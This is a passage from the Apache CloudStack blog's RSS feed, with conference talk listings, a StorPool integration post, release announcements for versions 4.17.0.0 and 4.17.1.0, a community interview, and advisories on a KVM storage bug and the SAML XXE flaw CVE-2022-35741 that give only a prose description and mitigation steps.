class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/oPPmy5LD2IyGP8" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start"></span> </iframe><strong>About Rohit Yadav:</strong><p>Rohit Yadav is a committer and PMC member of Apache CloudStack project, and oversees the Software Engineering function at ShapeBlue, providing leadership and mentorship to our ever-growing Engineering Team.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/news-and-development-update-of-the-cloudstack-tungsten-fabric-sdn-plugin" target="_blank" rel="noopener" title="News And Development Update Of The CloudStack Tungsten Fabric SDN Plug-in">News And Development Update Of The CloudStack Tungsten Fabric SDN Plug-in</a> - Sven Vogel, Huy Le Minh</strong></span><p>This talk involved a demo of the Tungsten Fabric Plugin and details what the important features are.</p><a href="https://www.youtube.com/watch?v=AHWH-kZmjfU&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=36" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/8fffab61-bb89-44b3-b934-e1670583eb4b" alt="sven.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/i8jygpf535JEVv" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><strong>About Sven Vogel:</strong><p>Sven Vogel is a German IT-Specialist with 15+ years experience in IT and member of the Apache Software Foundation. Before he got invited to join the mother foundation, he has been the Chairman / VP of Apache CloudStack and an active Committer for a few years. He is well-known for driving various projects and supporting everyone who needs technological exchange, advise or upskilling. His interest in cloud-technologies is both - his professional and personal passion and he looks forward meeting you to talk about why system-relevant institutions need our help as open source technologists.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/adding-new-data-sources-and-resources-to-cloudstack-terraform-provider" target="_blank" rel="noopener" title="Adding New Data Sources And Resources To CloudStack Terraform Provider">Adding New Data Sources And Resources To CloudStack Terraform Provider</a> - Daman Arora</strong></span><p>As of today, CloudStack-Terraform Provider v0.4.0 supports 25 resource types, and 1 data source type. It is the first release of CloudStack’s own provider, named CloudStack-Terraform Provider. The following link provides a complete list of Resources and Data Sources: <a href="https://registry.terraform.io/providers/cloudstack/cloudstack/latest/docs" target="_blank" rel="noopener noreferrer">https://registry.terraform.io/providers/cloudstack/cloudstack/latest/docs</a> I am a GSoC contributor for 2022 and am extending the list of Terraform Data Sources and Resources offered by CloudStack Terraform. I am currently working on the following project: CloudStack Terraform Provider – Add datasources for the existing resources <a href="https://summerofcode.withgoogle.com/programs/2022/projects/ZVraist1" target="_blank" rel="noopener noreferrer">https://summerofcode.withgoogle.com/programs/2022/projects/ZVraist1</a> I would like to present a tutorial/workshop as a knowledge transfer session. As CloudStack continues to grow in terms of resources, an explanation of how to extend Terraform provider will be beneficial to anyone who is interested in this area. In addition, I will share technical details regarding the provider during the presentation.</p><a href="https://www.youtube.com/watch?v=WdA2epTfu7k&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=37" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/0342b432-2672-49e4-bbd7-7578536d720a" alt="Daman.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/f8FIToyKAkVfCD" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start">﻿</span> </iframe><div><strong>About Daman Arora:</strong></div><div>Daman Arora is a GSoC 2022 student, as well as an Apache CloudStack Contributor.</div><div></div><div><span><strong><a href="https://www.slideshare.net/ShapeBlue/productize-invoice-cloudstack-usage" target="_blank" rel="noopener" title="Productize &amp; Invoice CloudStack Usage">Productize &amp; Invoice CloudStack Usage</a> - Will Stevens, Daniel Murray</strong></span></div><div>CloudMC is an edge orchestration platform which allows for the productization of backend services, such as Apache CloudStack. In this presentation, Will and Daniel demonstrate the use of CloudMC’s integration with CloudStack to deliver a suite of monetised self-serve products. The demo includes; pricing, taxation, invoicing, and credit card payments, along with extensive reporting capabilities.</div><a href="https://www.youtube.com/watch?v=szYm6P1DKdM&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=38" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/41ba68f1-b97c-4720-b290-019401fd48c4" alt="Will.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/ctlYOgQfCjwGTO" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start"></span> </iframe><strong>About the speakers:</strong><p>Will Stevens is CloudOps' CTO and has been involved in CloudStack for many years. He was much more active in previous years, as the ACS VP and release manager, and still remains on the PMC.</p><p>Daniel Murray is a Developer at CloudOps and is focused on the CloudMC product. He has worked on the integration between Apache CloudStack and CloudMC.</p><span><strong><a href="https://www.slideshare.net/ShapeBlue/stackbill-simplified-cloud-management-platform" target="_blank" rel="noopener" title="StackBill - Simplified Cloud Management Platform">StackBill - Simplified Cloud Management Platform</a> - Rafi Md</strong></span><p>In this talk, Rafi shares the vision of StackBill and how they simplified cloud management with Apache CloudStack. Key challenges of Datacenters on becoming a Cloud Datacenter and how stackbill solves it. New Features of StackBill added 2022 which would help datacenter, enterprises and telcos on measuring and maximizing their business.</p><a href="https://www.youtube.com/watch?v=avGJLrOCVu0&amp;list=PLnIKk7GjgFlYcKNbhYSgWGbJ8nJ0g496V&amp;index=39" target="_blank" rel="noopener noreferrer"><img loading="lazy" src="/img/imported/4f33a5fd-515f-4b21-8500-0e1bdfe9b264" alt="Rafi.png" width="750" height="393" class="img_ev3q"></a><iframe src="https://www.slideshare.net/slideshow/embed_code/key/BTGbkhqCpZgY8d" width="854" height="712" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" class="mce_SELRES_start"></span> </iframe><div><strong>About Rafi Md:</strong><p>Rafi joined Assistanz Networks Pvt. Ltd. as a Sales Associate in 2005 and is now serving as a Marketing Director at Assistanz. Founder - Inway Communications (<a href="http://www.Inway.in" target="_blank" rel="noopener noreferrer">www.Inway.in</a>) serving PAN India since 2008 and India's First Certified Guerrilla Marketer <!-- -->&amp;<!-- --> Coach, Digital Marketer <!-- -->&amp;<!-- --> Certified Trainer. Head of Global Marketing of StackBill.com - A Cloud Management Platform.</p><p>While serving Assistanz - assisted Datacenters over USA, UK, Switzerland, UAE, Australia, Italy and Canada on their Sales, Marketing <!-- -->&amp;<!-- --> operations from India. Had done various projects for Corporate in advance strategies of Online Marketing, Sales and marketing automation. Completely passionate about Domains, Websites and Online Marketing.</p></div>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Integrations: StorPool Storage - High-performance primary storage platform]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-integrations-storpool-storage</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-integrations-storpool-storage</guid>
            <pubDate>Sun, 06 Nov 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[CloudStack is a multi-hypervisor, multi-tenant, high-availability cloud management platform that delivers the flexibility and freedom of open-source technology and the power of an enterprise-grade virtualization management platform.]]></description>
            <content:encoded><![CDATA[<a href="/blog/cloudstack-integrations-storpool-storage"><img loading="lazy" src="/img/imported/975413e8-f2e7-4d03-b344-94f24ec87e6a" alt="CS-LINBIT.jpg" width="750" height="393" class="img_ev3q"></a><p>CloudStack is a multi-hypervisor, multi-tenant, high-availability cloud management platform that delivers the flexibility and freedom of open-source technology and the power of an enterprise-grade virtualization management platform.</p><p>In the new blog series named CloudStack Integrations, we will present a range of technologies with which CloudStack is integrated and can become part of your technology stack. You will be able to learn more about different software solutions, which can be combined with CloudStack and dive deep into specialized Technical Solution Briefs presenting the integrations.<br>Today we will meet you with <a href="https://storpool.com/" target="_blank" rel="noopener noreferrer">StorPool Storage</a>.</p><p>Cloud builders worldwide - Managed Services Providers, Hosting Services Providers, Cloud Services Providers, Enterprises, and SaaS Vendors - are always seeking ways to optimize the architecture and cost of their public and private cloud deployments. With Apache CloudStack and StorPool Storage, they can deploy a highly automated cloud that delivers the application performance and reliability their users need while easily addressing changes in user requirements over the long term.</p><p>The new Solution Brief developed by the Apache CloudStack Community and StorPool aids cloud and storage architects, consultants, administrators, and field practitioners in the design and deployment of reliable, easy-to-manage, and cost-efficient cloud infrastructure based on Apache CloudStack working with KVM hosts and StorPool Storage.</p><a class="button button--primary button--lg" target="_blank" href="/files/acs-solution-brief-storpool-2022.pdf"><b>DOWNLOAD THE SOLUTION BRIEF</b></a><br><h2><strong>StorPool’s Integration with Apache CloudStack</strong></h2><p>StorPool Storage volume management is integrated with <a href="https://storpool.com/cloudstack" target="_blank" rel="noopener noreferrer">Apache CloudStack</a> to allow seamless use of the capabilities of the StorPool Storage system through the CloudStack GUI, CLI, and API interfaces. With the integration, the features available in StorPool get inherited by each cloud deployed with StorPool Storage - enabling cloned provisioning, instant snapshots, thin provisioning, and backup, disaster recovery, and Quality of Service (QoS) policies per virtual disk or virtual machine (VM). Thanks to the way StorPool works, VM provisioning is nearly instantaneous, and data placement policies and other settings can be changed in-flight to address changes in user requirements.</p><h2><strong>Benefits of a Joint Deployment with CloudStack and StorPool Storage</strong></h2><p>The integration between Apache CloudStack and StorPool Storage results in several business and technical benefits.</p><h4>Business Benefits:</h4>• Always online <br>• End-to-end automation<br>• Operational flexibility <br>• Component interoperability<br>• Effective hardware lifecycle management<h4>Technical Benefits:</h4><p>• Simplified operations <br>• Faster deployment with reduced technological risk and shorter time to market <br>• Reduced outages caused by human errors<br>• Shared continuous storage space for all hosts in a zone<br>• Independent scaling of the compute and storage resources<br>• Fast live migration of VMs from any to any host without data movement<br>• Resilience to hardware failures as data integrity is maintained upon failure of a drive, storage node, host, or even an entire pod.<br>• All storage operations are automated, eliminating storage administration tasks like volume management, capacity management, etc.</p><h2><strong>About StorPool Storage</strong></h2><p>StorPool Storage is a primary storage platform designed to be the ideal foundation for high-performance public and private clouds. It is the easiest way to convert sets of commercial off-the-shelf servers with standard storage drives and network devices into high-performance, linearly scalable primary storage systems.<br>StorPool Storage systems are ideal for storing and managing the data of workloads that demand extreme reliability and low latency - databases, web servers, virtual desktops, real-time analytics, and other mission-critical software. Compared to traditional SANs, all-flash arrays, or other storage software, StorPool Storage is faster, more reliable, and scalable due to its distributed architecture. StorPool is designed from the ground up to provide cloud builders with the fastest and most resource-efficient storage software on the market.</p><a class="button button--primary button--lg" target="_blank" href="/files/acs-solution-brief-storpool-2022.pdf"><b>DOWNLOAD THE SOLUTION BRIEF</b></a>]]></content:encoded>
            <category>case-studies</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Collaboration Conference 2022 - November 14-16]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack-collaboration-conference-2022-november1</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack-collaboration-conference-2022-november1</guid>
            <pubDate>Fri, 14 Oct 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[The global Apache CloudStack community is hosting its major annual event - CloudStack Collaboration Conference, running from November 14th to November 16th 2022. The conference will be taking place in Sofia, Bulgaria. However, the conference is hybrid, allowing speakers and attendees to join virtually.]]></description>
            <content:encoded><![CDATA[<a href="/blog/cloudstack-collaboration-conference-2022-november1"><img loading="lazy" src="/img/imported/415395c2-3808-4d68-8e70-396c71acfeed" alt="CCC.png" width="750" height="393" class="img_ev3q"></a><p>The global Apache CloudStack community is hosting its major annual event - CloudStack Collaboration Conference, running from November 14th to November 16th 2022. The conference will be taking place in Sofia, Bulgaria. However, the conference is hybrid, allowing speakers and attendees to join virtually.</p><p>The hybrid event is aimed at developers, operators and users to discuss and evolve the open-source software project, its functionality and real-world operability. This event will introduce you to the CloudStack family, community leaders, project members and contributors.</p><p>CloudStack Collaboration Conference is free to attend and open to anybody who wants to learn more about one of the most powerful Apache Software Foundation projects. The registration can be accessed here - <a href="https://events.hubilo.com/cloudstack-collaboration-conference-2022/register" target="_blank" rel="noopener noreferrer"></a><a href="https://events.hubilo.com/cloudstack-collaboration-conference-2022/register" target="_blank" rel="noopener noreferrer">https://events.hubilo.com/cloudstack-collaboration-conference-2022/register</a>.</p><p>The event's schedule was released earlier this week, seeing speakers from all over the world. In total, there will be 38 sessions with 45 speakers. You can find detailed information on the event, including the schedule, visa information, hotel recommendations, speakers and more on the event's official website - <a href="https://www.cloudstackcollab.org/" target="_blank" rel="noopener noreferrer"></a><a href="https://www.cloudstackcollab.org/" target="_blank" rel="noopener noreferrer">https://www.cloudstackcollab.org/</a>.</p><p>One of the most anticipated talks is the Keynote, hosted by Simon Weller, VP of Apache CloudStack. You can expect more information on this to be released soon on the official event website.</p><p>Furthermore, CloudStack Collaboration Conference is an entirely community-organised event by volunteers and passionate enthusiasts from the community. We would like to thank the CloudStack Collaboration Conference sponsors - <a href="https://www.shapeblue.com/" target="_blank" rel="noopener noreferrer">ShapeBlue</a>, <a href="https://storpool.com/" target="_blank" rel="noopener noreferrer">StorPool</a>, <a href="https://linbit.com/" target="_blank" rel="noopener noreferrer">Linbit</a>, <a href="https://cloud.dimsi.io/" target="_blank" rel="noopener noreferrer">DIMSI</a>, <a href="https://www.indiqus.com/" target="_blank" rel="noopener noreferrer">Apiculus</a>, <a href="https://www.stackbill.com/" target="_blank" rel="noopener noreferrer">StackBill</a>, <a href="https://www.stackconsole.io/" target="_blank" rel="noopener noreferrer">Stack Console</a>, and <a href="https://www.cldin.eu/" target="_blank" rel="noopener noreferrer">CLDIN</a> for the partnership and help to deliver this event to the global community.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack LTS Maintenance Release 4.17.1.0]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-lts-release-41710</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-lts-release-41710</guid>
            <pubDate>Tue, 27 Sep 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the release of CloudStack 4.17.1.0.]]></description>
            <content:encoded><![CDATA[<a href="/blog/apache-cloudstack-lts-release-41710"><img loading="lazy" src="/img/imported/9b8e1bba-c05d-4376-85b7-d524d3aff383" width="100%" class="img_ev3q"></a><p>The Apache CloudStack project is pleased to announce the release of CloudStack 4.17.1.0.
The CloudStack 4.17.1.0 release is a maintenance release as part of its 4.17.x LTS branch and contains more than 150 fixes and improvements since the CloudStack 4.17.0.0 release.</p><p>Highlights include:</p><ul><li>Support for Ubuntu 22.04 LTS as a management server and KVM host</li><li>Improvements for System VM storage migration on KVM</li><li>CKS cluster upgrade enhancements</li><li>Several network and VPC-related fixes especially related IPv6 and permissions</li><li>KVM libvirt Java library upgrade</li><li>KVM Shared Mount Point fix</li><li>VMware local storage volume migration improvements</li></ul><p>CloudStack LTS branches are supported for 18 months and will receive updates for the first 12 months and only security updates in the last 6 months. Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform that allows users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich API for managing the compute, networking, software, and storage resources.</p><p>The project became an Apache top-level project in March 2013. More information about Apache CloudStack can be found at: <a href="https://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer" tabindex="-1" data-stringify-link="https://cloudstack.apache.org/" data-sk="tooltip_parent" data-remove-tab-index="true"></a><a href="https://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/</a></p><h2 class="anchor anchorWithStickyNavbar_LWe7" id="documentation">Documentation<a href="#documentation" class="hash-link" aria-label="Direct link to Documentation" title="Direct link to Documentation">​</a></h2><p data-stringify-type="pre">What's new in CloudStack 4.17.1.0: <a href="https://docs.cloudstack.apache.org/en/4.17.1.0/releasenotes/about.html" target="_blank" rel="noopener noreferrer" tabindex="-1" data-stringify-link="https://docs.cloudstack.apache.org/en/4.17.1.0/releasenotes/about.html" data-sk="tooltip_parent" data-remove-tab-index="true">https://docs.cloudstack.apache.org/en/4.17.1.0/releasenotes/about.html</a></p><p data-stringify-type="pre">The 4.17.1.0 release notes include a full list of issues fixed, as well as upgrade instructions from previous versions of Apache CloudStack, and can be found at: <a href="https://docs.cloudstack.apache.org/en/4.17.1.0/releasenotes/" target="_blank" rel="noopener noreferrer" tabindex="-1" data-stringify-link="https://docs.cloudstack.apache.org/en/4.17.1.0/releasenotes/" data-sk="tooltip_parent" data-remove-tab-index="true">https://docs.cloudstack.apache.org/en/4.17.1.0/releasenotes/</a></p><p data-stringify-type="pre">The official installation, administration, and API documentation for each of the releases are available on our documentation page: <a href="https://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer" tabindex="-1" data-stringify-link="https://docs.cloudstack.apache.org/" data-sk="tooltip_parent" data-remove-tab-index="true">https://docs.cloudstack.apache.org/</a></p><p data-stringify-type="pre"><strong># Downloads</strong> The official source code for the 4.17.1.0 release can be downloaded from our downloads page: <a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer" tabindex="-1" data-stringify-link="https://cloudstack.apache.org/downloads.html" data-sk="tooltip_parent" data-remove-tab-index="true">https://cloudstack.apache.org/downloads.html</a></p><p data-stringify-type="pre">In addition to the official source code release, individual contributors have also made convenience binaries available on the Apache CloudStack download page and can be found at: <a href="https://download.cloudstack.org/el/7/" target="_blank" rel="noopener noreferrer" tabindex="-1" data-stringify-link="https://download.cloudstack.org/el/7/" data-sk="tooltip_parent" data-remove-tab-index="true">https://download.cloudstack.org/el/7/</a></p><p data-stringify-type="pre"><a href="https://download.cloudstack.org/el/8/" target="_blank" rel="noopener noreferrer" tabindex="-1" data-stringify-link="https://download.cloudstack.org/el/8/" data-sk="tooltip_parent" data-remove-tab-index="true">https://download.cloudstack.org/el/8/</a></p><p data-stringify-type="pre"><a href="https://download.cloudstack.org/suse/15" target="_blank" rel="noopener noreferrer" tabindex="-1" data-stringify-link="https://download.cloudstack.org/suse/15" data-sk="tooltip_parent" data-remove-tab-index="true">https://download.cloudstack.org/suse/15</a></p><p data-stringify-type="pre"><a href="https://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer" tabindex="-1" data-stringify-link="https://download.cloudstack.org/ubuntu/dists/" data-sk="tooltip_parent" data-remove-tab-index="true">https://download.cloudstack.org/ubuntu/dists/</a></p><p data-stringify-type="pre"><a href="https://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer" tabindex="-1" data-stringify-link="https://www.shapeblue.com/packages/" data-sk="tooltip_parent" data-remove-tab-index="true">https://www.shapeblue.com/packages/</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[[ADVISORY] Apache CloudStack SAML Single Sign-On XXE (CVE-2022-35741)]]></title>
            <link>https://cloudstack.apache.org/blog/cve-2022-35741</link>
            <guid>https://cloudstack.apache.org/blog/cve-2022-35741</guid>
            <pubDate>Mon, 18 Jul 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Apache CloudStack version 4.5.0 and later has a SAML 2.0 authentication Service Provider plugin which is found to be vulnerable to XML external entity (XXE) injection. This plugin is not enabled by default and the attacker would require that this plugin be enabled to exploit the vulnerability. When the SAML 2.0 plugin is enabled in affected versions of Apache CloudStack could potentially allow the exploitation of XXE vulnerabilities. The SAML 2.0 messages constructed during the authentication flow in Apache CloudStack are XML-based and the XML data is parsed by various standard libraries that are now understood to be vulnerable to XXE injection attacks such as arbitrary file reading, possible denial of service, server-side request forgery (SSRF) on the CloudStack management server.]]></description>
            <content:encoded><![CDATA[<a href="/blog/cve-2022-35741"><img loading="lazy" src="/img/imported/dc6a0532-c5b5-4ed0-b2f8-f40197d2d577" alt="Screenshot 2022-07-18 at 15.33.00.png" width="750" height="393" class="img_ev3q"></a><p>Apache CloudStack version 4.5.0 and later has a SAML 2.0 authentication Service Provider plugin which is found to be vulnerable to XML external entity (XXE) injection. This plugin is not enabled by default and the attacker would require that this plugin be enabled to exploit the vulnerability. When the SAML 2.0 plugin is enabled in affected versions of Apache CloudStack could potentially allow the exploitation of XXE vulnerabilities. The SAML 2.0 messages constructed during the authentication flow in Apache CloudStack are XML-based and the XML data is parsed by various standard libraries that are now understood to be vulnerable to XXE injection attacks such as arbitrary file reading, possible denial of service, server-side request forgery (SSRF) on the CloudStack management server.</p><p>As of 18th July 2022, this is now tracked under CVE-2022-35741: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35741" target="_blank" rel="noopener noreferrer">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35741</a></p><p>To mitigate the risk, a CloudStack admin can do any of the following:</p><p>1. Disable the SAML 2.0 plugin by setting `saml2.enabled` to false and restart the management servers.</p><p>2. Upgrade to Apache CloudStack 4.16.1.1 or 4.17.0.1 or higher.</p><p><b>Credit</b>This issue was discovered and reported by "v3ged0ge".</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Meet the Community - K B Shiv Kumar ]]></title>
            <link>https://cloudstack.apache.org/blog/meet-the-community-k-b</link>
            <guid>https://cloudstack.apache.org/blog/meet-the-community-k-b</guid>
            <pubDate>Mon, 20 Jun 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Introduce yourself with a few words]]></description>
            <content:encoded><![CDATA[<a href="/blog/meet-the-community-k-b"><img loading="lazy" src="/img/imported/c0ca3334-ec0f-4dc4-80a3-b97372f44973" alt="Screenshot 2022-06-21 at 10.35.49.png" width="750" height="393" class="img_ev3q"></a><p><strong>Introduce yourself with a few words</strong></p><p>I am K B Shiv Kumar and am the Co-Founder and CTO at IndiQus. I am based out of Delhi, India and am passionate about travelling and dig going on driving holidays with my friends and family. I love listening to music and ABBA has been my all-time favourite band since childhood.</p><p><strong>Tell us your story in one Tweet?</strong></p><p>As a commerce graduate, moving to an IT career accidentally was probably the best thing that happened to me. I subsequently completed my masters in software engineering and worked as a developer with different ISPs where my interest in infrastructure programming was kindled.</p><p><strong>When did you start your CloudStack journey?</strong></p><p>My first exposure to CloudStack was in 2013 and since then I have embarked on a very exciting journey where I have evolved from a CloudStack user to an evangelist. I love tinkering on CloudStack and the techno-commercial possibilities it offers to the regional Internet, Cloud and Data Center providers.</p><p><strong>Who was your mentor during your CloudStack journey?</strong></p><p>I have received a lot of help from the community. If I must take a single name, it would be Rohit Yadav. He has been my mentor and will probably remain so for a while as far as CloudStack is concerned. During my initial days, folks from Citrix helped me a lot too, Vimmy Hong for one.</p><p><strong>Which was the latest feature on which you contributed or what was your last commitment to the CloudStack project?</strong></p><p>My commitment to CloudStack has been indirect but impacting. It has been taking it to the industry - the enterprises, telecoms, ISPs and data centre providers and showcasing how CloudStack can be leveraged as a viable cloud business model and implementing the same across various geographies. My organisation’s product offering is completely architected by leveraging CloudStack and transforming it into a techno-commercial solution.</p><p>On the technical side, I have worked extensively on various aspects of monitoring CloudStack and shared the same amongst the community. I am currently looking to implement an outside-in way of monitoring VRs and providing auto-scale facilities without modifying the CloudStack code.</p><p><strong>Why do people need to choose open-source technology?</strong></p><p>It’s cost-effective, allows unmatched customising flexibility and it works! It’s that simple. Since it’s community-driven, it is always balanced. The collective intelligence of the community is always greater than the sum of each individual’s intelligence.</p><p>Many pairs of eyes mean tighter, more secure, more relevant and more efficient code. Your choice to pay for support is completely de-linked from the licence to use the product. What’s more, there are a plethora of licences to choose from to leverage the same in your own product/service offering.</p><p>&nbsp;</p><p><strong>Follow him on Twitter:&nbsp;</strong><a href="https://twitter.com/kbshivkumar" target="_blank" rel="noopener noreferrer" title="https://twitter.com/kbshivkumar">https://twitter.com/kbshivkumar</a></p><p><strong>Connect with him on LinkedIn:&nbsp;</strong><a href="https://in.linkedin.com/in/kbshiv" target="_blank" rel="noopener noreferrer" title="https://in.linkedin.com/in/kbshiv">https://in.linkedin.com/in/kbshiv</a></p>]]></content:encoded>
            <category>community</category>
        </item>
        <item>
            <title><![CDATA[[ADVISORY] Apache CloudStack Advisory on KVM Shared Mount Point issues on version 4.17.0.0]]></title>
            <link>https://cloudstack.apache.org/blog/advisory-apache-cloudstack-advisory-on</link>
            <guid>https://cloudstack.apache.org/blog/advisory-apache-cloudstack-advisory-on</guid>
            <pubDate>Fri, 17 Jun 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[On 14th June 2022, a new issue affecting only KVM users using Shared Mount Point storage was reported [1]. This issue affects the creation and the usage of existing Shared Mount Point storage pools on Apache CloudStack 4.17.0.0.]]></description>
            <content:encoded><![CDATA[<p>On 14th June 2022, a new issue affecting only KVM users using Shared Mount Point storage was reported [1]. This issue affects the creation and the usage of existing Shared Mount Point storage pools on Apache CloudStack 4.17.0.0.<br></p><p>Apache CloudStack 4.17.0.0 added support for the StorPool storage based on Shared Mount Point. However, the current version of CloudStack doesn<!-- -->'<!-- -->t allow multiple implementations of Shared Mount Point storage pool providers, causing the StorPool provider to override the default implementation. This affected the other storage pool providers for Shared Mount Point since CloudStack tries to add them as a StorPool storage pool.<br></p><p>To mitigate the issue, a CloudStack administrator needs to do the following on version 4.17.0.0:<br></p><ul><li>On each management server: stop the CloudStack management service, remove the Storpool plugin jar on /usr/share/cloudstack-management/lib/cloud-plugin-storage-volume-storpool-4.17.0.0.jar and restart the CloudStack management service<br></li><li>On each KVM host: stop the CloudStack agent service, remove the StorPool plugin jar on /usr/share/cloudstack-agent/lib/cloud-plugin-storage-volume-storpool-4.17.0.0.jar and restart the CloudStack agent service<br></li></ul><p>Note: This workaround removes the StorPool plugin support. StorPool users should not apply the workaround to continue using their Storpool storage.<br></p><p>This issue will be fixed in the upcoming CloudStack version 4.17.1.0.<br></p><p>[1]<!-- -->&nbsp;<a href="https://github.com/apache/cloudstack/issues/6455" target="_blank" rel="noopener noreferrer" title="https://github.com/apache/cloudstack/issues/6455"></a><a href="https://github.com/apache/cloudstack/issues/6455" target="_blank" rel="noopener noreferrer">https://github.com/apache/cloudstack/issues/6455</a></p><p></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack 4.17.0.0 LTS Release]]></title>
            <link>https://cloudstack.apache.org/blog/apache-cloudstack-4-17-release</link>
            <guid>https://cloudstack.apache.org/blog/apache-cloudstack-4-17-release</guid>
            <pubDate>Tue, 07 Jun 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache Software Foundation Announces Apache&reg; CloudStack&reg; v4.17]]></description>
            <content:encoded><![CDATA[<p><em>The Apache Software Foundation Announces Apache<strong>®</strong> CloudStack<strong>®</strong> v4.17</em><br></p><p>Apache CloudStack 4.17.0.0 is a 4.17 LTS release with 383 new features, improvements and bug fixes since 4.16, including 16 major new features. Some of the highlights include:</p><ul><li>IPv6 with Static Routing<br></li><li>Zero Downtime Upgrades<br></li><li>Virtual Router Live Patching<br></li><li>CloudStack Status <!-- -->&amp;<!-- --> management<br></li><li>User Shared Networks<br></li><li>StorPool storage plugin<br></li><li>Storage-based Snapshots for KVM Instances<br></li><li>Attach and detach features to UI for ROOT disks<br></li><li>Enable CloudStack to use multiple LOCAL storage pools<br></li><li>Multiple SSH Keys support<br></li><li>Reserve and release Public IPs</li></ul><h2>Documentation</h2><p>The full list of new features can be found in the project release<br>
notes at<!-- -->&nbsp;<a href="http://docs.cloudstack.apache.org/en/4.17.0.0/releasenotes/changes.html" target="_blank" rel="noopener noreferrer"></a><a href="http://docs.cloudstack.apache.org/en/4.17.0.0/releasenotes/changes.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.17.0.0/releasenotes/changes.html</a><br></p><p>The CloudStack documentation includes upgrade instructions from<br>
previous versions of Apache CloudStack, and can be found at:<br></p><a href="http://docs.cloudstack.apache.org/en/4.17.0.0/upgrading/index.html" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/en/4.17.0.0/upgrading/index.html</a><br><p>The official installation, administration and API documentation for<br>
each of the releases are available on our documentation page:<br></p><a href="http://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/</a><br><br><strong># Downloads</strong><br>The official source code for the 4.17.0.0 release can be downloaded<br>from our downloads page:&nbsp;<a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a><br><p>In addition to the official source code release, individual<br>
contributors have also made convenience binaries available on the<br>
Apache CloudStack download page, and can be found at:<br></p><a href="https://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/ubuntu/dists/</a><br><a href="https://download.cloudstack.org/centos/7/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/centos/7/</a><br><a href="https://download.cloudstack.org/centos/8/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/centos/8/</a><br><a href="https://download.cloudstack.org/suse/15" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/suse/15</a><br><a href="https://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">https://www.shapeblue.com/packages/</a>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[What's New in Apache CloudStack 4.17]]></title>
            <link>https://cloudstack.apache.org/blog/what-s-new-in-apache1</link>
            <guid>https://cloudstack.apache.org/blog/what-s-new-in-apache1</guid>
            <pubDate>Tue, 07 Jun 2022 00:00:00 GMT</pubDate>
